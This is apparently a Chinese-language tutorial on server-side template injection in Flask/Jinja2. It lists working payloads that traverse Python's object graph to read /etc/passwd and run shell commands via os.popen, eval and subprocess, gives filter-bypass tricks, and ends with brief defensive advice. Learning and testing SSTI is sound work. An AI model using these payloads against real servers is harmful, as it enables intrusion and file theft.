Python 场景下的 SSTI 以 Flask/Jinja2 最常见,核心是攻击者通过模板表达式进入 Python 对象体系,逐步访问类、全局变量、内置函数与模块,最终实现文件读取或命令执行。
- Flask
render_template_string() - Jinja2 动态模板
- 后台自定义模板、邮件模板、页面片段
- 调试页、错误页、预览页
可先用:
{{7*7}}
若返回 49,通常说明进入了模板表达式执行。
入门资料:
典型路径是:
- 确认表达式可执行
- 获取基础类或对象根节点
- 进入类继承链和子类列表
- 找到可访问的函数、全局变量、模块
- 实现文件读取或命令执行
常见写法:
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]当中括号被过滤时,可借助 __getitem__:
''.__class__.__mro__.__getitem__(2)
{}.__class__.__bases__.__getitem__(0)
().__class__.__bases__.__getitem__(0)
request.__class__.__mro__.__getitem__(8)常见属性说明:
__class__:获得当前对象的类
__bases__:列出其基类
__mro__:方法解析顺序
__subclasses__():返回子类列表
__dict__:当前属性/函数字典
func_globals / __globals__:函数全局变量
注意:不同 Python 版本、不同运行环境中,
__subclasses__()的索引不固定,不能机械套用。
示例思路中,原文以 Python 2 为例:
object.__subclasses__()[40]('/etc/passwd').read()
object.__subclasses__()[40]('/tmp').write('test')实战要点:
- 先确认当前 Python 版本
- 先枚举子类,再定位文件相关类
- 不要假设索引在不同环境中稳定一致
原文示例:
object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()或通过内置函数:
object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()以下对象一旦可达,通常具备较高利用价值:
import os
os.system('ipconfig')exec('__import__("os").system("ipconfig")')eval('__import__("os").system("ipconfig")')import timeit
timeit.timeit("__import__('os').system('ipconfig')", number=1)import platform
platform.popen('ipconfig').read()import subprocess
subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()file('/etc/passwd').read()
open('/etc/passwd').read()import codecs
codecs.open('/etc/passwd').read()可先观察模板上下文里有哪些对象暴露出来:
{{config}}
{{handler.settings}}
{{app.__init__.__globals__.sys.modules.app.app.__dict__}}常见请求对象入口:
- GET:
request.args - Cookies:
request.cookies - Headers:
request.headers - Environment:
request.environ - Values:
request.values
常见绕过点:
- 中括号过滤,改用
__getitem__ - 点号过滤,改用属性函数或其他访问方式
- 关键字过滤,改用字符串拼接、编码或对象间接访问
- 黑名单只拦截少数危险单词,但未阻断对象图遍历
结合:
- 报错栈
- Flask / Jinja2 特征
- 模板语法
- 响应中的对象名称
例如 {{7*7}},确认不是普通字符串回显。
优先寻找:
configrequestselfapp- 可达函数对象
先文件读、环境变量读,再看是否存在稳定的命令执行链。
只能作为变量渲染,不能直接喂给模板解释器。
谨慎使用 render_template_string() 等接口处理不可信输入。
不要把请求对象、应用对象、内置模块直接暴露给模板。
只过滤 __class__、os、eval 等关键字,通常挡不住对象链绕过。
- 先测
{{7*7}}判断是否存在求值 - 再找
config、request、app、self - 再利用
__class__、__mro__、__subclasses__()向对象根节点扩展 - 关注 Python 版本和子类索引差异
- 优先做文件读取,其次再构造稳定命令执行